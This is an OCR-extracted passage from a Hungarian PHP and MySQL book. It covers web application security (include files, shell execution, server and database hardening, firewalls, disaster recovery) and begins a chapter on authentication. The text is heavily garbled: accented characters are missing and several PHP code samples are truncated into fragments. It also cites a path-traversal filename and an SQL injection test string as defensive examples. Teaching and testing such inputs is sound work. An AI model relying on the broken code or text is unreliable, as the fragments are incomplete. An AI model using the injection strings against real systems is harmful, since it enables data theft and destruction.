Ugyangy rdemes minden ms fjlt, pldul a jelszfjlokat, a szveges fjlokat, a konfigurcis fjlokat vagy a klnleges knyvtrakat a nyilvnos gykrknyvtrtl tvol tartani. Mg ha azt is gondoljuk, hogy megfelelen kenfigurltuk
webszervernket, elfordulhat, hogy megfeledkeztnk valamirl. Vagy, ha ksbb msik, nem megfelelen kenfigurit szerver
re helyezzk t alkalmazsunkat, biztonsgi kockzamak lehetnk kitve.
Amennyiben az allow_url_ fopen belltst bekapcsoljuk a php.ini fjlban, akkor elmletileg tvoli szerverekrl is be
illeszthetnk vagy lekrhetnk fjlokat. Ez jabb biztonsgi hibaforrst jelent alkalmazsunk szmra, s jobban tennnk, ha
vakednnk ms gpekrl szrmaz fjlok beillesztstL Klnsen olyan fjlok esetben, amelyek nem teljes mrtkben az
irnytsunk alatt ll gpekrl szrmaznak. Hasonlkppen kerlend az is, hogy felhasznl ltal bevitt adatokat hasznl
junk a beillesztend vagy lekrend fjlok kivlasztsra, mert a rossz input itt is problmkhoz vezethet.
Mi kerl a kdunkba?
Az eddig ltott, az adatbzisok elrsre szolgl kdrszletek egyszer szvegknt tartalmaztk az adatbzis nevt, a felhasz
"bob",
"titok",
"adatbazis");
Ez knyelmes ugyan, m kevsb biztonsgos, mert ha a crackerek rceszik a kezket a . php fjlunkra, a bob nev felhasz
nl jogosultsgaival egybl hozzfrnek adatbzis unkhoz.
Clszerbb a felhasznli nevet s jelszt olyan fjlba tenni, amely nem a webes alkalmazs gykrknyvtrban helyezkedik
el, majd kdunkba beilleszteni azt, pldul gy:
<?php
ll ez az adatbazishoz kapcsolodas.php
$adatbazis szerver = 'localhost';
$adatbazis_felhasznaloi_nev = 'bob';
$adatbazis_jelszo = 'titok';
$adatbazis_neve = 'adatbazis';
?>
<?php
16
jelszo,
$ adatbazis felhasznaloi_nev,
$ adatbazis
$ adatbazis_neve);
ll stb.
?>
Javasolt ugyangy eljrni ms, hasonlan rzkeny adatokkal is, amelyekrl gy gondoljuk, hogy mg egy vdelmi rtegre
rdemesek.
255
Ezen tlmenen akkor is rendkvl vatosan kell eljrnunk, ha megengedjk a felhasznlknak, hogy berjk az ltaluk ltni kvnt fjl nevt. Ha gykrknyvtrunkban
Apache 2. 2. htdocs\)
(c: \Program
Files\Apache
Software
Foundation\
egy olyan fjlokkal teli knyvtr helyezkedik el, amelyhez hozzfrst adunk a felhasznlknak, s k
bevihetik a megtekinteni kvnt fjl nevt, akkor komoly problmink addhatnak, amennyiben a
.. \ . . \..\php\php.ini
A kd stabilitsa s kdhibk
Ahogy korbban mr utalrunk r, kdunk megfelel tesztelse s ellenrzse nlkl, illetve ha a kd annyira bonyolult, hogy
tele van hibkkal, webes alkalmazsunk nagy valsznsggel nem fog megfelelen mkdni, vagy nem lesz kellen biztons
gos. rdemes beismerni, hogy mi, programozk s az ltalunk rt kd egyarnt esend.
Kpzeljk el, hogy valaki megnyit egy weboldalt, ber egy szt a keressi prbeszdabiakba (pldul azt, hogy difenesztrci),
rkattint a"Keress" gombra, majd valami ilyesmit lt megjelenni:
;Oll! Ennek soha nem lett volna szabad megtrtnnie. BUG BUG BUG! 1!!
Ez a felhasznl rninden bizonnyal kevss fog bzni az oldal robusztussgban vagy biztonsgban.
Ha a kezdetektl fogva tudatosan treksznk alkalmazsunk stabilitsra, s ennek megfelelen tervezzk, eredmnyesen
cskkenthegle az emberi hibk miatt bekvetkez problmk valsznsgt. A kvetkez mdszerekkel rhegk el ezt a clt:
Alapos tervezsi munka elzze meg termknk ltrehozst, s lehetsg szerint ksztsnk prototpusokat l Minl tb
ben nzik t terveinket, annl nagyobb valsznsggel fogjuk kiszrni a lehetsges problmkat. Remek alkalom ez arra
is, hogy hasznlhatsgi tesztet vgezznk alkalmazsunk kezelfelletn.
Teremtsnk elegend tesztdsi erforrst projektnk szmra! Rengeteg projekten sprolnak ezen, vagy mindssze
egyeden tesztel jut a projekt tven fejlesztjre. A fejlesztk jellemzen nem bizonyulnak j tesztelknek! Teljes mr
tkben megbizonyosodnak ugyan arrl, hogy a megfelel inputtal kdjuk tkletesen mkdik, de kevsb megbzhatk
az esetleges problmk feltrsban. A nagy szaftverfejleszt cgek majdnem ugyanannyi tesztelt s fejleszrt foglal
koztatnak, s ugyan nem valszn, hogy fnkeink is meg fognak fizetni ilyen sok tesztelt, alkalmazsunk sikere vala
mennyi tesztel erforrst mindenkppen ignyelni fog.
Vegyk r fejlesztinket, hogy konkrt tesztdsi mdszertant kvessenek! Minden bizonnyal gy sem fogjk az sszes
olyan hibt megtallni, amit egy tesztel megtallna, de mindenkppen segit elkerlni a regresszlst. Azt a szirucit
nevezzk gy, amikor a korbban mr kijavtott problmk vagy hibk a kd egyb vltoztatsai miatt jbl megjelennek.
A fejlesztknek csak akkor szabad megengedni, hogy vglegestsk a vltoztatsokat, ha minden egysg sikeresen tesztel
te azokat.
Az alkalmazst zembe helyezs utn, futs kzben is figyelni kell.A naplk rendszeres bngszsbl s a felhasznli/
fogyaszti szrevtelek elolvassbl kiderthet, hogy jelentkeznek-e komoly problmk vagy esetleges biztonsgi rsek. Ha
igen, mr azeltt kezelni tudjuk ket, hogy kritikuss vlhatnnak.
(execution operator) nev funkcit. Ez alapveten olyan nyelvi opertor, amellyel tetszleges parancsokat futtatharunk pa
rancshjban (Unix-szer opercis rendszerek esetben az sh valamilyen vltozata, Windows esetn a cmd.exe), ha fordtott
idzjelek ( ') kz tesszk az adott parancsot. Fontos megjegyezni, hogy ez az idzjel nem azonos a sima, egyszeres id
zjellel ( ').Angol nyelv billentykioszts esetn a bal fels sarokban helyezkedik el a billenty, ms nyelv billentyzeten
ugyanakkor komoly kihvs lehet megrallni. A vgrehajt mveleti jel a lefuttatott program szveges kimenett tartalmaz
sztringrtket adja vissza.
Ha van egy olyan szveges fjlunk, ami nevekbl s telefonszmokbl ll listt tartalmaz, a grep paranccsal sszellt
hatjuk a"Smith" szt tartalmazk listjt. A
grep
listjt vrja, amelyek kzt keresnie kell.A keresend mintnak megfelel sorokat adja vissza.
grep
[args)
16
256
16. fejezet
A grepnek lteznek windowsos vltozatai, st, Windows alatt elrhet a findstr.exe nev, hasonlan hasznlhat program
is. Az albbi kd futtatsval tallhatnnk meg a ,.Smith" nev embereket:
<?php
ll az -i azt jelenti,
$users =
$sorok = split($felhasznalok,
"\n");
{$nevek szama[O] },
',
'
karakter vlasztja el
);
Telefon#:
{$nevek_szama[l] }<brl>\n";
?>
Ha brmikor is megengedjk, hogy felhasznli input kerljn a fordtott idzjelek kztt lv parancsba, klnbz
biztonsgi veszlyforrsoknak tesszk ki magunkat, s rendszernk biztonsga rdekben szigoran szrni kell ezt az inputot.
A minimlis vintzkeds az escapeshellcmd fggvny hasznlata. Ha azonban biztosra szecernnk menni, ennl is szigo
rbban kell korltozni a lehetsges inputokat.
Mg ennl is rosszabb, hogy mivel alapesetben alacsony szint jogosulrsgi krnyezetben szetetnnk futtatni
webszervernket s a PHP-t (erre a kvetkez rszekben mg bvebben visszatrnk), knnyen olyan helyzetben talljuk
magunkat, hogy ezen parancsok futtatshoz magasabb szint jogosultsgokat kell kiosztanunk. Ezzel tovbb veszlyeztetjk
biztonsgunkar. Az opertor hasznlara zleti krnyezetben igen nagyfok krltekintst s vatossgor ignyel.
Az exee parancs s a rendszerfggvnyek a vgrehajt opertorhoz nagyon hasonlan viselkednek, a klnbsg annyi,
hogy a parancsor kzvetlenl, nem pedig hjkrnyezetben futtatjk, s - a vgrehajt opertorral ellenttben - nem mindig
adjk vissza a teljes kimenetet. Ugyanazokat a biztonsgi agglyokat hozzk el, gy ugyanazok a figyelmezrersek rvnyesek
rjuk is.
Webszervernk s
Nem elegend kdunk biztonsgossgval trdni, a PHP-t futtat webszervernk teleptse s konfigurlsa is komoly
biztonsgi agglyokat hordoz magban. A szmtgpeinkre s szervereinkre teleptend szoftverek nagy rszt olyan konfigu
rcis fjlokkal s alaprtelmezett funkcikszleetei kapjuk, amelyek a szoftver erejt s hasznossgt hivatottak demonstrlni.
A gyrtk azt felrtelezik, hogy kikapcsoljuk a szmunkra szksgtelen s/vagy a kvntnl kevsb biztonsgos funkcikat.
16
Sajnos sokan teljesen megfeledkeznek errl, vagy nem sznnak r elegend idt, hogy megfelelen vgrehajtsk.
A bizronsg,.holiszrikus" megkzeltse megkveteli, hogy webszervereink s a PHP megfelel konfigurlsrl is gondos
kodjunk. Br nincsen lehetsgnk bemutatni, hogyan lehet rninden szba jhet webszervert s PHP kiterjesztst biztons
goss tenni, legalbb nmi rmpontot s irnymutarst adunk az elindulshoz, illetve ahhoz, hogyan tudunk a tmban tovbbi
informcihoz jutni.
257
Az j verzi belltsa
Egyes szoftverek konfigurlsa s teleptse idignyes, szmos lpsbl ll folyamat lehet. Klnsen a Unix-verzik esetn,
amikor forrsbl teleptnk, szmos olyan egyb szaftver lehet, amit eltte telepteni kell, majd a megfelel modulok s kiter
jesztsek bekapcsalshoz szmos parancssori kapcsal belltsra van mg szksg.
Nagyon fontos: kszesnk magunknak rvid teleptsi tmutatt, amit a szaftver jabb verziinak teleptsekor kvetni
fogunk! gy biztosan nem fogunk megfeledkezni az olyan foncos dolgokrl, amik csak problmkat okoznnak a ksbbiekben.
A vgrehajtand lpsek magas szma rniatt igen valszntlen, hogy a telepts sorn minden egyes apr rszletet fejben ru
dunk tartani.
sszellits
l. kiszolgl
)o
Tesztels
l. alapvet mkds
felptse
ellenrzse
2. PHP teleptse
2. resztsorozat futtatsa
3. konfigurcis fjlok
3. egysgtesztek fut
bellitsa
rarsa
4. dokumentumok
4. terhelsi tesztek
konfigurlsa
elvgzse
)o
zembe helyezs
l. szerverre msols
2. alapvet mkds
ellenrzse
3. resztsorozat futtatsa
4. egysgtesztek
futtatsa
5. ad hoc tesztek
futtatsa
A php. ini
fjl tartalma
Ha eddig mg nem szntuk r magunkat a php.ini fjl tbngszsre, itt a remek alkalom, hogy betltsk valarnilyen szveg
szerkesztbe, s megvizsgljuk a tartalmr! Az ilyen fjlok bejegyzseinek nagy rsze megfelel megjegyzsekkel rendelkezik,
16
amelyek hasznlatukat rjk le. Ezen kvl a funkciterlet/kiterjeszts neve szerinc vannak rendezve, gy az mbstring kon
figurcis opcik neve mbstring-gel kezddik, a munkamenetekkel (session) kapcsolatosak pedig session eltaggal brnak
(23. fejezet: Munkamenet-vezrls PHP-ben).
A modulok rengeteg olyan konligurcis belltst knlnak, amelyeket soha nem fogunk hasznlni, s amelyek miart-ha
ezek a modulok nincsenek bekapcsolva-aggdnunk sem kell. A hasznlt modulok esetben azonban fontos, hogy a PHP on
line kziknyvben (http://www.php.net/manual) tnzzk dokumentcijukat, s tisztban legynk az egyes kiterjesztsek
opciival, illetve azok lehetsges rtkeiveL
Meginc csak ersen ajnlott, hogy rendszeres biztonsgi mentseket ksztsnk php.ini fjlunkrl, vagy rjuk fel, hogy milyen
vltoztatsokat hajtottunk vgre benne, hogy j verzik teleptse esetn biztosak lehessnk benne: a megfelel belltsokkal
hasznljuk.
Az ezekkel a belltsokkal kapcsolatos egyetlen trkk, hogy PHP-ben rt rgi szaftver hasznlata esetn j esllyel szksg
lehet a register globals s/vagy a register long arrays bekapcsolsra. Ebben az esetben sajt magunknak
_
kell eldnteni, hogy az adott szaftver hasznlata megri-e a biztonsgi kockzatot. E kockzat egybknt gy mrskelhec, ha
rendszeresen utnanznk a szaftverhez tartoz biztonsgi javtsoknak vagy egyb frisstseknek.
\,
258
16. fezet
A webszerver konfigurlsa
Ha mr megfelelnek talljuk a PHP konfigurlst, forditsuk figyelmnket a webszerver fel! A biztonsg szempontjbl
minden kiszolglnl ms konfigurlsi folyamat vr rnk, mi most a kt legnpszerbb, az Apache HTTP Server s a Micro
soft IlS bellitst tekintjk t.
A httpd szerver alaprtelmezett teleptse elfogadhatan biztonsgos, m rdemes nhny dolgot alaposan leellenrizni, mie
ltt lesben zembe helyeznnk a kiszolglt. Az sszes konfigurcis belltst a httpd. conf nev fjlban talljuk, amely
ltalban a httpd alapteleptsnek l conf alknyvtrban helyezkedik el (ami nem ms, rnint a /usr l local/apache/
conf vagy a C: \Program Files\Apache Software Foundation\Apache 2. 2\conf) . Ne felejtsk el elolvasni a ki
szolgl online dokumentcijban (http://httpd.apache.org/docs-project) a vonatkoz biztonsgi rszeket!
Ezen tlmenen tegyk a kvetkezket:
Ellenrizzk, hogy a httpd superuser jogosultsgok nlkli felhasznlknt fut (Unix esetn pldul nobody vagy
httpd ) ! Ezt a httpd. confUser s Group bellirsai szablyozzk.
Ellenrizzk az Apache teleptsi knyvtr fjljogosultsgainak megfelel belltst! Unix esetn ez magban foglalja
azt, hogy a gykrknyvtr (amely alaprtelmezetten a htdocs/ alknyvtrat hasznlja) kivtelvel minden knyvtr
a root tulajdonban van, s 7 55 jogosultsggal rendelkezik.
Ellenrizzk, hogy a szerver gy legyen belltva, hogy megfelel szm kapcsolatot tudjon kezelni! A httpd 1.3.x
verziinak felhasznli esetben olyan sszer szmot rdemes a MaxClients rtknek adni, amely egyidej
leg mg feldolgozhat (az alaprtelmezett rtk, a 150 teljesen sszer, de ha nagyobb terhelsre szmtunk, meg
emelhetjk azt). Az Apache 2.x verziknl, ahol lehetsges a multithreading (tbb szJon fut feladat-vgrehajts),
a ThreadsPerChild rtket kell ellenrizni (az alaprtelmezett rtk, az 50 ltalban elfogadhat).
A httpd. conf fjlba megfelel direktvkat belevve rejtsk el a fjlokat, arniket nem szeretnnk, ha ms is ltna! Ha
pldul az . inc fjlok megtekinthetsgt szeretnnk megakadlyozni, az albbiakat kell bernunk:
<Files
"\.inc$">
Order allow,
Deny
deny
from all
</Files>
Mint mr emltettk, minl elbb tvoltsuk el ezeket a fjlokat az adott weboldal gykrknyvtrbl!
Microsoft IlS
Az liS konfigurlsa kevsb a belltsfjlok krl forog, rnint az Apache HTTP Server esetn, ennek ellenre szmos dolgot
16
259
A biztonsg rdekben szmos dolgot megtehetnk, amikor megfelel szolgltatst keresnk webes alkalmazsaink elhelyezsre:
Mieltt valamelyik szaigitats mellett dntennk, nzzk meg, milyen tmogatst nyjranak! A jobb szolgltatsokhoz
teljes online dokumentci tartozik (egyes szolgltatknl kivl dinamikus oktatanyagokat is tallhatunk), amelybl
pontosan kiderl, hogyan kanfigurljk trhelynket. Ezt alaposan ttanulmnyozva megtudhatjuk, milyen korltoz
sokra s tmogatsra szmthatunk az adott szolgltatnl.
Olyan trhelyszolgltatst keressnk, amely teljes knyvtrft s nem csak gykrknyvtrat knl! Egyes szolglra
tknl trhelynk gykrknyvtra az alap dokumentumknyvtr, msok teljes knyvtrhierarchit adnak, amelyben
a public_html/ az a hely, ahova a tartalom s a futtathat PHP kdok kerlnek. Ezeknl a biztonsg rdekben
megtehetjk, hogy ltrehozzuk az includes/ knyvtrat. Ezzel lehetv vlik, hogy msok ne tekinchessk meg . inc
fjljaink tartalmr.
Prbljuk meg kiderteni, milyen belltsokat hasznlnak a php. ini fjlban! Br a szolgltatk tbbsge nem jelenti
meg ezeket az oldalon, illerve nem fogjk a fjlt e-mailben elkldeni szmunkra, a mszaki gyflszolglattl megkr
dezhetjk, hogy a biztonsgos md be van-e kapcsolva, s milyen fuggvnyeket s osztlyokat kapcsoltak ki. A bellt
sok rtkeit az ini_get fuggvnnyel is kiderthetjk. A biztonsgos mdot nem hasznl vagy egyeden fuggvnyt ki
nem kapcsal oldalak esetben jobban aggdhatunk, mint az sszeren biztonsgos konfigurcit knl szolgltatknl.
Nzzk meg, milyen verzij szaftvereket futtatnak! A legfrissebb verzikat? Ha nem talljuk a phpinfo kimenett,
hasznljunk olyan szolgltatst, mint pldul a Netcraft (http:/ /www.netcraft.com), amellyel megtudhatjuk, milyen
szaftvereket futtat az adott oldal! Ellenrizzk, hogy valban PHP5-t hasznlnak!
Keressnk olyan szaigitatst, ahol van ingyenes prbaidszak, pnzvisszafizetsi garancia vagy brmilyen ms lehetsg,
amivel hossz tv ktelezettsgvllals nlkl kiprblhatjuk, hogyan fognak futni webes alkalmazsaink az adott trhelyen.
Az adatbzisszerverek biztonsga
Tl azon, hogy minden szaftvernket naprakszen tartjuk, szmos dolgot megtehetnk adatbzisaink biztonsga rdek
ben. Megint csak elmondhat, hogy a biztonsgrl teljes knyveket rhatnnk minden egyes adatbzisszerverhez, amelyre
webes alkalmazsainkat rjuk, m itt s most csak olyan ltalnos stratgikat tudunk bemutatni, amelyek mindenkire egy
arnt rvnyesek.
Ang nem prbltuk ki mindezeket, nem lehetnk biztosak rendszernk jogosuJtsgi rendszernek megfelel vdelmben.
16
260
16. fgezet
Adatklds a szerverre
Knyvnk eddigi oldalain mr tbbszr elmondtuk (s mg j nhnyszor el fogjuk mondani), hogy soha ne kldjnk a szer
verre szretlen adatokat. Az adatbzis-kiterjesztsek ltal elrhet, a vdkarakterek hasznlatt lehetv tev fggvnyek
(pldul a mysqli_real_escape_string vagy a mssql_ escape_string ) segtsgvel legalbb alapszint vdelmet
kialakitharunk.
Azonban az is kiderlt mr szmunkra, hogy nem elegend ezekre a fggvnyekre tmaszkodni, a beviteli rlapok minden
mezjnl tpusellenrzst kell vgrehajtani. Minden bizonnyal szeretnnk elkerlni, hogy a felhasznli nevet vr mezbe tbb
kilobjtnyi adat vagy felhasznli nevekbe nem val karakter kerljn. A kdban vgrehajtott ellenrzssei pontosabb hibaze
neteket adhatunk, s cskkenthetjk az adatbzisainkra leselked biztonsgi kockzatot. Szmszer s dtum/id adatok eset
ben is gyzdjnk meg a felhasznJk ltal bevitt rtkek sszersgrl, s csak utna tovbbtsuk azokat a kiszolglnak!
Vgezetl az azt megenged szervereken hasznlharunk trolt eljrsokat, amelyek nagyrszt elvgzik helyetrnk a vdka
rakterek kiosztsnak munkjt, s gondoskodnak arrl, hogy szksg esetn idzjelek kz kerljn az, aminek idzjelek
kztt kell lennie.
Megint csak tesztelssei tudunk megbizonyosodni arrl, hogy adatbzisunk megfelelen kezeli az adatokat:
Prbljunk az rlapokba olyan rtkeket bevinni, mint pldul a ; DELETE FROM Artalmatlan_Tabla' stb.!
Szmokat vagy dtumokat fogad mezkbe prbljunk olyan rtelmetlen rtkeket berni, mint az 55#$ 8 8 8 ABC', s
figyeljnk, hogy hibazenetet kapunk-e!
Prbljunk meg az ltalunk megadott mrethatron felli adatot bevinni, s figyeljk, hogy bekvetkezik-e a hiba!
'
'
Kapcsolds a szerverhez
16
Szmos mdszer ltezik, hogy az adatbzisszervereinkhez val kapcsoldsokat ellenrzsnk alatt tartva megrizzk a ki
szolglink biztonsgossgt. Az egyik legegyszerbb mdszer, ha korltozzuk a felhasznlkat abban, hogy honnan kapcso
ldhatnak. A klnbz adatbzis-kezel rendszerekben hasznlt jogosuJtsgi rendszerek nagy rsznl nem csak felhasznli
nevet s jelszt adharunk meg az egyes felhasznlkhoz, hanem azokat a szmrgpeket is meghatrozhaguk, amelyekrl
a csatlakozs megengedett. Amennyiben adatbzisszervernk s webszervernk/PHP motorunk ugyanazon a szmtgpen
tallhat, akkor rdemes csak a localhostrl vagy a gp ltal hasznlt IP-cmrl rkez kapcsoldsokat engedlyezni. Ha
webszervernk llandan ugyanazon a gpen mkdik, akkor teljesen helynval, ha a felhasznlkat csak arrl a szmtgp
rl engedjk csatlakozni az adatbzishoz.
Sok adatbzisszerver funkcii kztt megtalljuk azt a lehetsget, hogy rickosrott kapcsolaton keresztl (ltalban
a Secure Sockets Layer - SSL nven ismert protokollt hasznlva) kapcsoldjunk hozzjuk. Ha brmikor is a nyilvnos
interneten keresztl kell adatbzisszerverhez kapcsoldni, titkostott kapcsolatot kell hasznlni - amennyiben elrhet ilyen.
Ha nem, rdemes lehet alagutat (tunne!) ltrehoz termket vlasztani. Az alagt olyan pokolian okos det, amely biztonsgos
kapcsolatot hoz ltre az egyik gptl a msikig, s a TCP /IP portok (pldul a 80-as port a HTTP- s a 25-s az SMTP
forgalomhoz) ezen a biztonsgos kapcsolaton keresztl vannak a msik gphez irnytva, ami helyinek ltja a forgalmat.
Vgezetl nem szabad megfeledkezni arrl, hogy az adatbzisszervernl belltott, lcala egyszerre kezelni kpes kapcsold
sok szma nagyobb legyen, mint amennyit a webszerver s a PHP lehetv tesz. Korbban emltettk, hogy az Apache HTTP
Server 1.3.x verzii alaprtelmezsben maximum 150 kapcsolatot tudnak kezelni. Ha a my.ini-ben a MySQL ltal megenge
dett kapcsolatok szmt az alaprtelmezetten rtken (100) hagyjuk, mris hibs konfigurcit kapunk. Ezt elkerlend min
denkppen a kvetkez mdostst kell vgrehajtanunk my.ini fjlunkban:
max connections=151
Azrt engedlyeztnk eggyel tbb kapcsolatot, mert a MySQL mindig fenntart egyet a rendszergazdnak. gy akkor is
bejelentkezhet s dolgozhat, ha a kiszolgl teljesen le van terhelve.
A kiszolgl futtatsa
A kiszolgl biztonsga rdekben szmos dolgot megtehetnk az adatbzisszerver futtatsa sorn. Az els s legfontosabb,
hogy soha nem szabad azt superuserknt (Unix esetn rootknt, Windows esetn rendszergazdaknt) futtatni. Ha a szerverr
brmikor feltrik, teljes rendszernk veszlyben lesz. A MySQL igazbl csak akkor hagyja, hogy superuserknt futtassuk, ha
ilyetn szndkunkat megerstve knyszertjk r - ami termszetesen megint csak ellenjavallt.
Az adatbzisszaftver belltsa utn a legtbb program azt kri, hogy - a frksz szemek elli elrejtsk rdekben - m
dostsuk az adatbzis knyvtrainak s fjljainak rulajdonosait, illetve a vonatkoz jogosultsgokat. Ne feledjk megtenni ezt,
s gyeljnk, hogy ne a superuser legyen az adatbzisfjlok tuldonosa! (Ellenkez esetben ugyanis a nem superuseri adatb
zisszerver-folyamatok mg sajt adatbzisfjljaikba sem tudnnak rni.)
261
Amikor a jogosultsgi s hitelestsi rendszerrel dolgozunk, csak a lehet legszkebb jogosultsgokkal hozzuk ltre a fel
hasznlkat! Nem rdemes szles kr jogosultsgokat kiosztani nekik, mondvn valamikor mg szksgk lehet r. ppen
ellenkezleg: szksg esetn kell tovbbi jogosultsgokat adni.
A hlzat vdelme
Szmos mdszer ltezik a webes alkalmazsunknak otthont ad hlzat vdelmre. Br ezek rszletes bemutatsa meghaladja
knyvnk lehetsgeit, viszonylag egyszeren tjkozdhatunk az ilyen mdszerekrl, amik nem csak webes alkalmazsainkat
fogjk vdeni.
Tzfalak teleptse
Ahogy a PHP-ben rt webes alkalmazsunkba rkez minden felhasznli inputot szrnnk kell, ugyangy kell eljrni a hl
zarunkba rkez teljes forgalommal, legyen sz cges irodai hlzatrl vagy adatkzpontrl, amelyben szervereinket s alkal
mazsainkat zemeltetjk.
Tzfallal tehetjk ezt meg, ami lehet ismert opercis rendszeren - pldul FreeBSD-n, Linuxon vagy Microsoft
Windowsan - fut szaftver vagy hlzati eszkzgyrttl beszerzett, dediklt hlzatbiztonsgi berendezs. A tzfal feladata
a
nem kivnt forgalom kiszrse s a hozzfrs megakadlyozsa hlzatunk azon rszeihez, amelyeket nem szeretnnk, hogy
msok bolygassanak.
A TCP /IP protokoll, amelyre az internet pl, portokon keresztl mkdik, spedig gy, hogy klnbz portokat ren
delnk az eltr pus forgalmakhoz (a HTTP-hez pldul a 80-as port tartozik). Sok portot szigoran csak bels hlzati
forgalomra hasznlunk, ezek kis szerepet jtszanak a klvilggal val rintkezsnkben. Ha megtiltjuk, hogy ezeken a porto
kon keresztl forgalom rkezzen hlzarunkba vagy menjen ki, cskkentjk annak kockzatt, hogy szmtgpeinket vagy
szervereinket (s ezltal webes alkalmazsainkat) feltrjk.
DMZ hasznlata
Mr utaltunk r, hogy szervereinket s webes alkalmazsainkat nem csak kls szemlyektl rkez tmads fenyegeti, hanem
a bels,
rosszindulat felhasznJk is kockzatot jelentenek. Br utbbi tmadk kevesebben vannak, a cg mkdsrl kiter
jedt informcikkal rendelkeznek, s ezek birtokban akr nagyobb krt kpesek okozni.
Az ilyen kockzat mrsklsnek egyik mdja az gynevezett demilitarizlt zna ( demilitarized zone - DMZ) megvalsr
sa. Ebben
a rendszerben a webes alkalmazsainkat futtat kiszolglkat (s ms szervereket, pldul a cges fjl- vagy levelez
szervert
Demilitarizlt zna
16
Adatbzis
szerver
16.3 bra:
262
16.fezet
A DMZ tervezst, teleptst s zemeltetst a webes alkalmazsunkat zemeltet hely hlzati rendszergazdival kell
egyeztetni.
16
rendszer FireWire alrendszert rinti a biztonsgi javts, de kiszolglnkban egyltaln nincsen FireWire hardver, akkor egy
rtelmen idpocskols vgigmenni a javts tesztdsi s teleptsi folyamatn.
263
velk.
Katasztrfaelhrtsi terv
Ha szeretnnk teljesen res, a semmibe rved tekintetet ltni, krdezznk meg egy informatikai vezett, hogy mi trtnne
kiszolglikkal vagy inkbb teljes adatkzpontjukkal, ha a gpeknek otthont ad plet legne, vagy ers fldrengsben elpusz
tulna! Az informatikusok ijeszten magas arnya egyltaln nem tudna vlaszolni.
A kataszttfa-elhrtsi tervezs a szolgltats kritikus, mgis gyakran figyelmen kvl hagyott rsze, legyen az a szolgltats
pusztn egy webes alkalmazs vagy brmi egyb (pldul vllalkozsunk mindennapi mkdtetse). A terv elksztse jellem
zen olyan dokumentumok vagy folyamatok sszelltsbl ll, amelyek pldul az albbi esemnyek bekvetkezse esetn
felmerl krdsekkel foglalkoznak:
Adatkzpontunk valamilyen katasztrfa kvetkeztben rszben vagy egszben megsemmisl.
Fejlesztcsapatunkat ebdsznetben elti egy busz, s mindannyian slyosan megsrlnek (vagy meghalnak).
A vllalati kzpont leg.
Egy kls tmadnak vagy egy elgededen alkalmazottnak sikerl webes alkalmazsaink sszes adatt megsemmiste
me.
Klnbz okok miatt, de sokan nem szeremek szerencsdensgekrl s tmadsokrl beszlni, m a knyrtelen valsg
az,
hogy ilyen dolgok elfordulnak- br szerencsre viszonylag ritkn. Az zleti szervezetek azonban jellernzen nem enged
hetik meg maguknak a lells t, amit az ilyen nagysgrend esemnyek okoznnak abban az esetben, ha teljesen felkszletlenl
rn ket. Egy naponta tbb milli dollros bevtelt elr vllalat igen komolyan megrezn, ha webes alkalmazsai nem len
nnek elrhetk tbb mint egy htig, addig, amg a rendszert nem szz szzalkban ismer emberek annak helyrelltsn s
jraindtsn dolgoznnak.
Az ilyen esemnyekre felkszlve, bekvetkezsket egyrtelm akcitervvel vrva s az akciterv kritikusabb rszeit elpr
blva hatalmas vesztesgek potencilis lehetsgtl kmlhetjk meg zleti szervezetnket, ha tnyleg bet a mnk.
Az albbiakkal segithetjk a katasztrfa-elhrrsi terv ltrehozst s - szksg esetn- vgreh:ytst:
Gondoskodjunk az sszes adat napi biztonsgi mentsrl fizikailag msik helysznen, gy adatkzpontunk teljes meg
semmislse esetn is megmaradnak adataink!
Legyen kzzel rott, fizikailag szintn mshol trolt feljegyzsnk a szerverkrnyezet ltrehozsra s webes alkalmaz
sunk belltsra vonatkoz utastsokkal l Legalbb egyszer prbljuk el a teljes helyrelltsri
Ksztsnk teljes msolatot webes alkalmazsunk forrskdjrt s tartsuk ezt is msik helysznen!
Nagyobb munkahelyi csapatok esetn tiltsuk meg, hogy minden kollga ugyanabban a jrmben (pldul autban vagy
replgpen) utazzon, hogy egy esetleges baleset ne rinehesse a csapat minden tagjt!
Automatizlt eszkzk futtatsval ellenrizzk a szerver megfelel mkdst, s jelljnk ki egy alkalmazottat, aki
vszhelyzet vagy brmilyen problma esetn nem munkark alatt is kteles bejnni!
Olyan szerzdst kssnk a neknk a hardvereket rtkest partnerrel, hogy adatkzpontunk megsemmislse esetn
az j hardver azonnal elrhet legyen! Nagyon idegest lenne ngy-hat htig vrni az j szerverek megrkezsre.
Hogyan tovbb
A Hitelests
lehetv tev hitelestst. Klnbz mdszereket ismernk meg, kztk az oldal felhasznlit PHP s MySQL segtsgvel
ellenrz hitelesrst.
16
17
Hitelests megvalstsa
PHP--vel s MySQL--lel
Ebben a fejezetben arrl lesz sz, hogy hogyan lehet felhasznlinkat klnbz PHP- s MySQL-mdszerekkel hitelesteni.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Ltogatk azonostsa
Hozzfrs-szablyozs megvalstsa
Alapszint hitelests
Alapszint hitelests PHP-ben
Az Apache alapszint . htaccess hitelestsnek hasznlata
Amod auth_mysql hitelests alkalmazsa
Egyni hitelestsi folyamat ltrehozsa
Ltogatk azonostsa
Ugyan az internet elgg anonimitsbart mdium, sok esetben hasznos dolog tisztban lenni azzal, ki ltogatja oldalunkat.
A ltogatk adatainak vdelme szempontjbl szerencss, hogy segtsgk nlkl nagyon keveset rodharunk meg rlunk. Kis
energival ugyanakkor a szerverek egsz sok informcit sszegyjthetnek a hozzjuk kapcsold szmrgpekrl s hlza
rokrL A bngszk ltalban azonostjk magukat, kzlik a kiszolglval, hogy a felhasznl milyen bngszt, annak melyik
verzijt s milyen opercis rendszert futtat. JavaScript segtsgvel az esetek tbbsgben azt is megllapthatjuk, hogy a l
togatk kijelzje milyen felbontsra s sznmlysgre van lltva, illetve milyen nagy a bngszjk ablaka.
Minden szmtgp egyedi IP-cmen kereszrl csatlakozik az internethez. A ltogat IP-cmbl valamilyen mrtkben
kvetkeztetni tudunk r. Kiderthetjk, kinek a birtokban van az IP-cm, s gyakran egsz jl tippelhetnk a ltogat fld
rajzi elhelyezkedsre is. Az IP-cmek azonban nem egyformn hasznosak szmunkra. ltalnossgban igaz, hogy az lland
internerkapcsolattal rendelkez felhasznl lland (fix) cmmel rendelkezik. Az internetszolgltathoz (ISP) berrcsz fel
hasznlk jellemzen ideiglenesen hasznlhatjk a szolgltar egyik cmt. Ha legkzelebb tallkozunk ugyanazzal a cmmel,
akkor knnyen lehet, hogy mr msik szmtgp hasznlja, s amikor legkzelebb tallkozunk a ltogatval, nagy valszn
sggel msik IP-cme lesz. Az IP-cmek nem olyan mrtkben alkalmasak a ltogatk azonostsra, mint elsre hihetnnk.
